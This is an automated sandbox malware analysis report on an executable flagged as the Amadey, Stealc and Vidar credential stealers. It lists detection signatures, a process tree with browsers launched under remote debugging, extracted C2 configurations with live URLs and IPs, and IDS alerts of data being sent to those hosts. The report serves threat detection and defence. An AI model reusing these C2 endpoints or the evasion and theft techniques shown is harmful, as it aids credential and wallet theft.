Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561916
MD5:	a701ff816a94c1e54f8b2175d9fcfd19
SHA1:	10d6f38310770edf01970e9572a111377c21d829
SHA256:	9d52d6333a4b985ec7d0baece9f1c0c99c1cf4ea503f7b8bbce0fe38694d0a32
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 568 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A701FF816A94C1E54F8B2175D9FCFD19)

chrome.exe (PID: 6032 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3364 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2164,i,4228140876153035288,3191782487785201057,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7780 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7996 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2196,i,59569300908838470,7156084176488042829,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 5040 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEHJKJDGCGD.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsEHJKJDGCGD.exe (PID: 8364 cmdline: "C:\Users\user\DocumentsEHJKJDGCGD.exe" MD5: A497AC328EBE667E4502871394265720)

skotes.exe (PID: 8688 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: A497AC328EBE667E4502871394265720)

msedge.exe (PID: 8032 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7456 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1268 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6356 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6380 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8200 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6536 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4256 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7912 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8616 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A497AC328EBE667E4502871394265720)

skotes.exe (PID: 792 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A497AC328EBE667E4502871394265720)

7b950b2da4.exe (PID: 6128 cmdline: "C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe" MD5: 3B098936D2BA04149E255A50F61B5415)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001C.00000003.2522595024.0000000004820000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2083342943.0000000000331000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2700815411.0000000000331000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000003.2070684914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1472255775.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1996260643.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2041418812.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1994265116.0000000000201000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.2110993064.0000000000331000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2078563513.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1994265116.00000000002CC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.1990725998.0000000005470000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 568	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 568	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 568	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 568	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.DocumentsEHJKJDGCGD.exe.ea0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.330000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.330000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.330000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 568, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6032, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T19:11:22.876927+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49705	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T19:11:22.610094+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T19:11:23.223798+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T19:11:24.940251+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T19:11:23.396926+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49705	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T19:11:22.140465+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T19:13:07.146055+0100	2856147	1	A Network Trojan was detected	192.168.2.8	56423	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T19:11:15.620498+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	56431	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T19:13:11.709392+0100	2803305	3	Unknown Traffic	192.168.2.8	56435	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T19:11:25.710333+0100	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-24T19:11:48.362468+0100	2803304	3	Unknown Traffic	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:11:50.420456+0100	2803304	3	Unknown Traffic	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:11:52.030396+0100	2803304	3	Unknown Traffic	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:11:53.239778+0100	2803304	3	Unknown Traffic	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:11:56.864294+0100	2803304	3	Unknown Traffic	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:11:57.935885+0100	2803304	3	Unknown Traffic	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:12:04.028572+0100	2803304	3	Unknown Traffic	192.168.2.8	49837	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllA	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpfi	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dlle	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpx:	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001C.00000003.2522595024.0000000004820000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.568.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CBCA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC44C0 PK11_PubEncrypt,	0_2_6CBC44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB94420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CB94420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC4440 PK11_PrivDecrypt,	0_2_6CBC4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC125B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CC125B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CBAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CBA8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CBCA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CBEA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CBF0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC43B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CBC43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CBE7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CBEBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CBA7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CBE9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC3FF0 PK11_PrivDecryptPKCS1,	0_2_6CBC3FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CBC3850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CBC9840

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.8:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.21:443 -> 192.168.2.8:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.8:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:56453 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2035299323.000000006FE8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2035299323.000000006FE8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 13MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:56423 -> 185.215.113.43:80
